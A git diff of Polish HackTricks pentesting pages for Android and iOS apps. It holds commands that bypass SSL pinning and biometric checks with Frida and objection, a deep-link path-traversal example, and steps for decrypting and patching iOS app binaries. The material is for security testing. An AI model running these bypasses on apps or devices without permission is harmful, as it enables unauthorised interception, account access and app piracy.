- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. Szczególnie **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia czy zamiaru, na **odczyt lub modyfikację** tych plików.
**Przechowywanie zewnętrzne**
@ -123,7 +123,7 @@ Podczas pracy z plikami na **przechowywaniu zewnętrznym**, takim jak karty SD,
Zewnętrzne przechowywanie można **uzyskać** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!NOTE]
> Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. Zapobiega to złośliwej aplikacji uzyskiwaniu dostępu do plików innej aplikacji w trybie odczytu lub zapisu.
> Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji uzyskiwaniu dostępu do plików innej aplikacji.
**Wrażliwe dane przechowywane w postaci niezaszyfrowanej**
@ -149,7 +149,7 @@ Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują
**Użycie niebezpiecznych i/lub przestarzałych algorytmów**
Deweloperzy nie powinni używać **przestarzałych algorytmów** do przeprowadzania **sprawdzania** **autoryzacji**, **przechowywania** lub **wysyłania** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashe** są używane do przechowywania haseł, powinny być używane hashe odporne na brute-force z solą.
Deweloperzy nie powinni używać **przestarzałych algorytmów** do przeprowadzania **sprawdzania** autoryzacji, **przechowywania** lub **wysyłania** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashe** są używane do przechowywania haseł, powinny być używane hashe odporne na brute-force z solą.
### Inne kontrole
@ -241,13 +241,13 @@ avd-android-virtual-device.md
- [**Nox**](https://es.bignox.com) (Darmowy, ale nie obsługuje Frida ani Drozer).
> [!NOTE]
> Podczas tworzenia nowego emulatora na dowolnej platformie pamiętaj, że im większy ekran, tym wolniej będzie działał emulator. Wybierz małe ekrany, jeśli to możliwe.
> Podczas tworzenia nowego emulatora na jakiejkolwiek platformie pamiętaj, że im większy ekran, tym wolniej będzie działał emulator. Wybierz małe ekrany, jeśli to możliwe.
Aby **zainstalować usługi Google** (jak AppStore) w Genymotion, musisz kliknąć na czerwony oznaczony przycisk na poniższym obrazie:
Aby **zainstalować usługi Google** (jak AppStore) w Genymotion, musisz kliknąć na czerwony zaznaczony przycisk na poniższym obrazku:
![](<../../images/image (277).png>)
Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybrać **tryb sieci mostkowej** (to będzie przydatne, jeśli będziesz łączyć się z Android VM z innej VM z narzędziami).
Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybrać **tryb sieciowy Bridge** (to będzie przydatne, jeśli będziesz łączyć się z Android VM z innej VM z narzędziami).
#### Użyj fizycznego urządzenia
@ -269,12 +269,12 @@ Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z
Deweloperzy powinni być ostrożni w ujawnianiu **informacji debugowania** publicznie, ponieważ może to prowadzić do wycieków wrażliwych danych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony wrażliwych informacji. **Pidcat** jest preferowane ze względu na łatwość użycia i czytelność.
> [!WARNING]
> Zauważ, że od **nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Tak więc aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\
> Zauważ, że od **nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Więc aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\
> Tak czy inaczej, nadal zaleca się **nie logować wrażliwych informacji**.
**Bufor kopiowania/wklejania**
Oparty na **schowku** framework Androida umożliwia funkcjonalność kopiowania i wklejania w aplikacjach, ale stwarza ryzyko, ponieważ **inne aplikacje** mogą **uzyskiwać dostęp** do schowka, potencjalnie ujawniając wrażliwe dane. Ważne jest, aby **wyłączyć funkcje kopiowania/wklejania** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec wyciekom danych.
Oparty na **schowku** framework Androida umożliwia funkcjonalność kopiuj-wklej w aplikacjach, ale stwarza ryzyko, ponieważ **inne aplikacje** mogą **uzyskiwać dostęp** do schowka, potencjalnie ujawniając wrażliwe dane. Ważne jest, aby **wyłączyć funkcje kopiowania/wklejania** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec wyciekom danych.
**Logi awarii**
@ -320,7 +320,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**UWAGA**: MobSF wykryje jako złośliwe użycie _**singleTask/singleInstance**_ jako `android:launchMode` w aktywności, ale z powodu [tego](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), najwyraźniej jest to niebezpieczne tylko w starych wersjach (wersje API < 21).
> [!NOTE]
> [!UWAGA]
> Zauważ, że obejście autoryzacji nie zawsze jest luką, zależy to od tego, jak działa obejście i jakie informacje są ujawniane.
**Wycieki wrażliwych informacji**
@ -343,7 +343,7 @@ Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli ap
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest usługa.**](android-applications-basics.md#services)\
Pamiętaj, że działania usługi zaczynają się w metodzie `onStartCommand`.
Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś usługi, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **testować****dynamicznie** w celu wyodrębnienia poufnych informacji, omijania środków autoryzacji...\
Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś usługi, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **testować****dynamicznie**, aby wyodrębnić poufne informacje, omijając środki autoryzacji...\
[**Dowiedz się, jak wykorzystywać usługi za pomocą Drozer.**](drozer-tutorial/index.html#services)
### **Wykorzystywanie odbiorników rozgłoszeniowych**
@ -381,17 +381,17 @@ Za każdym razem, gdy znajdziesz deep link, sprawdź, czy **nie odbiera wrażliw
**Parametry w ścieżce**
Musisz również sprawdzić, czy jakikolwiek deep link używa parametru wewnątrz ścieżki URL, takiego jak: `https://api.example.com/v1/users/{username}`, w takim przypadku możesz wymusić przejście przez ścieżkę, uzyskując dostęp do czegoś takiego jak: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz zmodyfikować szczegóły użytkowników bez tokena CSRF, a podatny punkt końcowy używał poprawnej metody) i inne podatności. Więcej [informacji na ten temat tutaj](http://dphoeniixx.com/2020/12/13-2/).
Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz zmodyfikować dane użytkowników bez tokena CSRF, a podatny punkt końcowy używał poprawnej metody) i inne podatności. Więcej [informacji na ten temat tutaj](http://dphoeniixx.com/2020/12/13-2/).
**Więcej przykładów**
Ciekawy raport o bug bounty [tutaj](https://hackerone.com/reports/855618) dotyczący linków (_/.well-known/assetlinks.json_).
Ciekawe zgłoszenie bug bounty [tutaj](https://hackerone.com/reports/855618) dotyczące linków (_/.well-known/assetlinks.json_).
### Inspekcja i weryfikacja warstwy transportowej
- **Certyfikaty nie zawsze są odpowiednio sprawdzane** przez aplikacje Android. Często te aplikacje ignorują ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP.
- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, stosując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), umożliwiając atakującym odszyfrowanie danych.
- **Wycieki prywatnych informacji** są ryzykiem, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, ale następnie komunikują się przez kanały niezabezpieczone w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy szczegóły użytkowników, przed przechwyceniem przez złośliwe podmioty.
- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, stosując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), co pozwala atakującym na odszyfrowanie danych.
- **Wycieki prywatnych informacji** są ryzykiem, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, ale następnie komunikują się przez kanały niezabezpieczone w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy dane użytkowników, przed przechwyceniem przez złośliwe podmioty.
#### Weryfikacja certyfikatu
@ -403,7 +403,7 @@ SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfika
#### Inspekcja ruchu
Aby zainstalować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu zaszyfrowany ruch może nie być widoczny przez proxy. Aby uzyskać instrukcje dotyczące instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Aby zainstalować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu, zaszyfrowany ruch może nie być widoczny przez proxy. Aby uzyskać instrukcje dotyczące instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfiguracji bezpieczeństwa sieci, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy do inspekcji zaszyfrowanego ruchu. Aby uzyskać instrukcje dotyczące modyfikacji konfiguracji bezpieczeństwa sieci, [**odwołaj się do tego samouczka**](make-apk-accept-ca-certificate.md).
@ -412,14 +412,14 @@ Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfigurac
Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspirować ruch HTTPS. Istnieje kilka metod w tym celu:
- Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować roota, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować nową, co nie zawsze działa.
- Możesz użyć **Frida** (omówione poniżej), aby obejść tę ochronę. Oto przewodnik dotyczący używania Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Możesz użyć **Frida** (omówione poniżej), aby obejść tę ochronę. Oto przewodnik, jak używać Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Możesz również spróbować **automatycznie obejść SSL Pinning** za pomocą **analizy dynamicznej MobSF** (wyjaśnionej poniżej)
- Jeśli nadal uważasz, że istnieje jakiś ruch, którego nie przechwytujesz, możesz spróbować **przekierować ruch do burp za pomocą iptables**. Przeczytaj ten blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Szukanie powszechnych podatności w sieci
Ważne jest również, aby szukać powszechnych podatności w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych miejscach.
Ważne jest również, aby szukać powszechnych podatności w sieci w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych miejscach.
### Frida
@ -427,7 +427,7 @@ Ważne jest również, aby szukać powszechnych podatności w aplikacji. Szczeg
**Możesz uzyskać dostęp do działającej aplikacji i podłączyć metody w czasie rzeczywistym, aby zmienić zachowanie, zmienić wartości, wyodrębnić wartości, uruchomić inny kod...**\
Jeśli chcesz przeprowadzić pentesting aplikacji Android, musisz wiedzieć, jak używać Frida.
- Naucz się, jak używać Frida: [**Samouczek Frida**](frida-tutorial/)
- Naucz się, jak używać Frida: [**Samouczek Frida**](frida-tutorial/index.html)
- Nieco "GUI" do działań z Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection jest świetne do automatyzacji użycia Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Możesz znaleźć kilka niesamowitych skryptów Frida tutaj: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
@ -468,13 +468,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
```
### **Obrazy w tle**
Gdy umieszczasz aplikację w tle, Android przechowuje **zrzut ekranu aplikacji**, aby po przywróceniu do pierwszego planu zaczęła ładować obraz przed aplikacją, co sprawia, że wygląda na to, że aplikacja została załadowana szybciej.
Kiedy umieszczasz aplikację w tle, Android przechowuje **zrzut ekranu aplikacji**, aby po jej przywróceniu do pierwszego planu zaczęła ładować obraz przed aplikacją, co sprawia, że wygląda na to, że aplikacja została załadowana szybciej.
Jednak jeśli ten zrzut ekranu zawiera **wrażliwe informacje**, ktoś z dostępem do zrzutu może **ukraść te informacje** (zauważ, że potrzebujesz roota, aby uzyskać do niego dostęp).
Jednakże, jeśli ten zrzut ekranu zawiera **wrażliwe informacje**, ktoś z dostępem do zrzutu może **ukraść te informacje** (zauważ, że potrzebujesz roota, aby uzyskać do niego dostęp).
Zrzuty ekranu są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`**
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach.
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych wyświetlaczach.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -521,7 +521,7 @@ docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Zauważ, że MobSF może analizować **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacje (_Aplikacje Windows muszą być analizowane z MobSF zainstalowanym na hoście Windows_).\
Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do głównego folderu aplikacji, wybierz wszystko i stwórz plik ZIP), również będzie mogło to analizować.
Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do folderu głównego aplikacji, wybierz wszystko i stwórz plik ZIP), również będzie mogło to analizować.
MobSF pozwala również na **diff/Compare** analizy oraz integrację z **VirusTotal** (będziesz musiał ustawić swój klucz API w _MobSF/settings.py_ i włączyć go: `VT_ENABLED = TRUE` `VT_API_KEY = <Twój klucz API>` `VT_UPLOAD = TRUE`). Możesz również ustawić `VT_UPLOAD` na `False`, wtedy **hash** zostanie **przesłany** zamiast pliku.
@ -534,11 +534,11 @@ MobSF pozwala również na **diff/Compare** analizy oraz integrację z **VirusTo
- Przechwytywać **ruch HTTPS**
- Używać **Frida** do uzyskiwania **informacji w czasie rzeczywistym**
Od wersji Android **> 5**, automatycznie **uruchomi Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji.
Od wersji Android **> 5**, **automatycznie uruchomi Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji.
**Frida**
Domyślnie użyje również niektórych skryptów Frida do **obejścia SSL pinning**, **wykrywania root** i **wykrywania debuggera** oraz do **monitorowania interesujących API**.\
Domyślnie będzie również używać niektórych skryptów Frida do **obejścia SSL pinning**, **wykrywania root** i **wykrywania debuggera** oraz do **monitorowania interesujących API**.\
MobSF może również **wywoływać eksportowane aktywności**, robić **zrzuty ekranu** z nich i **zapisywać** je do raportu.
Aby **rozpocząć** testowanie dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
@ -550,12 +550,12 @@ Ponadto masz kilka dodatkowych funkcji Frida:
- **Enumerate Loaded Classes**: Wydrukuje wszystkie załadowane klasy
- **Capture Strings**: Wydrukuje wszystkie przechwycone ciągi podczas korzystania z aplikacji (bardzo hałaśliwe)
- **Capture String Comparisons**: Może być bardzo przydatne. **Pokaże 2 porównywane ciągi** i czy wynik był prawdziwy czy fałszywy.
- **Capture String Comparisons**: Może być bardzo przydatne. Pokaże **2 porównywane ciągi** i czy wynik był prawdziwy czy fałszywy.
- **Enumerate Class Methods**: Podaj nazwę klasy (np. "java.io.File") i wydrukuje wszystkie metody klasy.
- **Search Class Pattern**: Wyszukaj klasy według wzoru
- **Trace Class Methods**: **Śledź** **całą klasę** (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod API Androida.
Gdy wybierzesz moduł pomocniczy, który chcesz użyć, musisz nacisnąć "**Start Intrumentation**" i zobaczysz wszystkie wyniki w "**Frida Live Logs**".
Gdy wybierzesz dodatkowy moduł, który chcesz użyć, musisz nacisnąć "**Start Intrumentation**" i zobaczysz wszystkie wyniki w "**Frida Live Logs**".
**Shell**
@ -570,10 +570,10 @@ receivers
```
**Narzędzia HTTP**
Gdy ruch http jest przechwytywany, możesz zobaczyć brzydki widok przechwyconego ruchu na "**HTTP(S) Traffic**" na dole lub ładniejszy widok w "**Start HTTPTools**" na zielonym przycisku. Z drugiej opcji możesz **wysłać** **przechwycone żądania** do **proxy** takich jak Burp lub Owasp ZAP.\
Gdy ruch http jest przechwytywany, możesz zobaczyć brzydki widok przechwyconego ruchu na "**HTTP(S) Traffic**" na dole lub ładniejszy widok w zielonym przycisku "**Start HTTPTools**". Z drugiej opcji możesz **wysłać** **przechwycone żądania** do **proxy** takich jak Burp lub Owasp ZAP.\
Aby to zrobić, _włącz Burp -->_ _wyłącz Intercept --> w MobSB HTTPTools wybierz żądanie_ --> naciśnij "**Send to Fuzzer**" --> _wybierz adres proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Po zakończeniu analizy dynamicznej z MobSF możesz nacisnąć "**Start Web API Fuzzer**", aby **fuzzować żądania http** i szukać luk.
Po zakończeniu analizy dynamicznej z MobSF możesz nacisnąć "**Start Web API Fuzzer**", aby **fuzzować żądania http** i szukać podatności.
> [!NOTE]
> Po przeprowadzeniu analizy dynamicznej z MobSF ustawienia proxy mogą być źle skonfigurowane i nie będziesz w stanie ich naprawić z GUI. Możesz naprawić ustawienia proxy, wykonując:
@ -595,7 +595,7 @@ To **świetne narzędzie do przeprowadzania analizy statycznej z GUI**
### [Qark](https://github.com/linkedin/qark)
To narzędzie jest zaprojektowane do wyszukiwania kilku **związanych z bezpieczeństwem luk w aplikacjach Android**, zarówno w **kodzie źródłowym**, jak i **spakowanych APK**. Narzędzie jest również **zdolne do tworzenia "Proof-of-Concept" wdrażalnego APK** oraz **komend ADB**, aby wykorzystać niektóre z wykrytych luk (ujawnione aktywności, intencje, tapjacking...). Podobnie jak w przypadku Drozer, nie ma potrzeby rootowania urządzenia testowego.
To narzędzie jest zaprojektowane do wyszukiwania kilku **związanych z bezpieczeństwem podatności aplikacji Android**, zarówno w **kodzie źródłowym**, jak i **spakowanych APK**. Narzędzie jest również **zdolne do tworzenia "Proof-of-Concept" wdrażalnego APK** oraz **komend ADB**, aby wykorzystać niektóre z wykrytych podatności (ujawnione aktywności, intencje, tapjacking...). Podobnie jak w przypadku Drozer, nie ma potrzeby rootowania urządzenia testowego.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -617,7 +617,7 @@ reverse-apk relative/path/to/APP.apk
SUPER to aplikacja działająca w wierszu poleceń, która może być używana w systemach Windows, MacOS X i Linux, analizująca pliki _.apk_ w poszukiwaniu luk. Robi to, dekompresując APK i stosując szereg reguł w celu wykrycia tych luk.
Wszystkie reguły są zdefiniowane w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
Wszystkie reguły są zgrupowane w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
Pobierz najnowsze pliki binarne z [strony pobierania](https://superanalyzer.rocks/download.html)
```
@ -627,7 +627,7 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn to **narzędzie wieloplatformowe**, które wspomaga programistów, łowców błędów i etycznych hakerów w przeprowadzaniu [analizy statycznej kodu](https://en.wikipedia.org/wiki/Static_program_analysis) aplikacji mobilnych.
StaCoAn to **narzędzie wieloplatformowe**, które pomaga deweloperom, łowcom błędów i etycznym hakerom w przeprowadzaniu [analizy statycznej kodu](https://en.wikipedia.org/wiki/Static_program_analysis) aplikacji mobilnych.
Koncepcja polega na tym, że przeciągasz i upuszczasz plik swojej aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, a ona wygeneruje dla Ciebie wizualny i przenośny raport. Możesz dostosować ustawienia i listy słów, aby uzyskać spersonalizowane doświadczenie.
@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**naliza Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych i specjalistów ds. bezpieczeństwa.
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**naliza Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
Może:
@ -678,7 +678,7 @@ Zauważ, że w zależności od usługi i konfiguracji, której używasz do obfus
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
Z [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskowało kod Java. Potrafi optymalizować bajty kodu oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2.
Z [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** to narzędzie open source wiersza poleceń, które zmniejsza, optymalizuje i obfuskowało kod Java. Potrafi optymalizować bajty kodu oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2.
ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowania aplikacji w trybie release.
@ -702,15 +702,15 @@ Możesz przesłać obfuskowane APK na ich platformę.
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
To narzędzie LLM do znajdowania potencjalnych luk w zabezpieczeniach w aplikacjach androidowych i deobfuskacji kodu aplikacji androidowej. Używa publicznego API Gemini od Google'a.
To narzędzie LLM do znajdowania potencjalnych luk w zabezpieczeniach w aplikacjach androidowych i deobfuskacji kodu aplikacji androidowych. Używa publicznego API Gemini od Google'a.
### [Simplify](https://github.com/CalebFenton/simplify)
To **ogólny deobfuskator androidowy.** Simplify **wirtualnie wykonuje aplikację**, aby zrozumieć jej zachowanie, a następnie **stara się zoptymalizować kod**, aby działał identycznie, ale był łatwiejszy do zrozumienia dla człowieka. Każdy typ optymalizacji jest prosty i ogólny, więc nie ma znaczenia, jaki konkretny typ obfuskacji jest używany.
To **ogólny deobfuskator androidowy.** Simplify **wirtualnie wykonuje aplikację**, aby zrozumieć jej zachowanie, a następnie **próbuje zoptymalizować kod**, aby działał identycznie, ale był łatwiejszy do zrozumienia dla człowieka. Każdy typ optymalizacji jest prosty i ogólny, więc nie ma znaczenia, jaki konkretny typ obfuskacji jest używany.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD dostarcza informacji o **tym, jak APK zostało stworzone**. Identyfikuje wiele **kompilatorów**, **packerów**, **obfuskatorów** i innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida.
APKiD dostarcza informacji o **tym, jak stworzono APK**. Identyfikuje wiele **kompilatorów**, **packerów**, **obfuskatorów** i innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida.
### Manual
@ -720,7 +720,7 @@ APKiD dostarcza informacji o **tym, jak APK zostało stworzone**. Identyfikuje w
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, która zawiera zbiór najnowszych frameworków, tutoriali i laboratoriów od różnych geeków i badaczy bezpieczeństwa do inżynierii wstecznej i analizy złośliwego oprogramowania.
AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, zawierająca zbiór najnowszych frameworków, tutoriali i laboratoriów od różnych geeków i badaczy bezpieczeństwa do inżynierii wstecznej i analizy złośliwego oprogramowania.
## References

View File

@ -1,12 +1,12 @@
# iOS Podstawowe Operacje Testowe
# iOS Basic Testing Operations
{{#include ../../banners/hacktricks-training.md}}
## **Podsumowanie Identyfikacji i Dostępu do Urządzeń iOS**
## **Podsumowanie identyfikacji i dostępu do urządzeń iOS**
### **Identyfikacja UDID Urządzenia iOS**
### **Identyfikacja UDID urządzenia iOS**
Aby unikalnie zidentyfikować urządzenie iOS, używa się 40-cyfrowej sekwencji znanej jako UDID. W macOS Catalina lub nowszym można to znaleźć w aplikacji **Finder**, ponieważ iTunes nie jest już obecny. Urządzenie, po podłączeniu przez USB i wybraniu w Finderze, ujawnia swój UDID wraz z innymi informacjami po kliknięciu w szczegóły pod jego nazwą.
Aby unikalnie zidentyfikować urządzenie iOS, używa się 40-cyfrowej sekwencji znanej jako UDID. W systemie macOS Catalina lub nowszym można to znaleźć w aplikacji **Finder**, ponieważ iTunes nie jest już obecny. Urządzenie, po podłączeniu przez USB i wybraniu w Finderze, ujawnia swój UDID wraz z innymi informacjami, gdy kliknie się na szczegóły pod jego nazwą.
Dla wersji macOS przed Catalina, iTunes ułatwia odkrycie UDID. Szczegółowe instrukcje można znaleźć [tutaj](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
@ -25,7 +25,7 @@ $ idevice_id -l
```bash
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
```
- **Wykorzystanie `instruments` do wylistowania urządzeń:**
- **Używanie `instruments` do wylistowania urządzeń:**
```bash
$ instruments -s devices
```
@ -103,9 +103,9 @@ Zastąp zaszyfrowaną sekcję w oryginalnym pliku binarnym aplikacji zdekodowany
```bash
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
```
**Finalizacja deszyfrowania:** Zmodyfikuj metadane binariów, aby wskazać na brak szyfrowania, używając narzędzi takich jak **MachOView**, ustawiając `cryptid` na 0.
**Finalizing Decryption:** Zmodyfikuj metadane binariów, aby wskazać na brak szyfrowania, używając narzędzi takich jak **MachOView**, ustawiając `cryptid` na 0.
### **Deszyfrowanie (Automatycznie)**
### **Decryption (Automatically)**
#### **frida-ios-dump**
@ -132,21 +132,21 @@ flexdump dump Twitter.app
```
#### **bagbak**
[**bagbak**](https://github.com/ChiChou/bagbak), inne narzędzie oparte na Frida, wymaga zrootowanego urządzenia do deszyfrowania aplikacji:
[**bagbak**](https://github.com/ChiChou/bagbak), inne narzędzie oparte na Frida, wymaga urządzenia z jailbreakiem do deszyfrowania aplikacji:
```bash
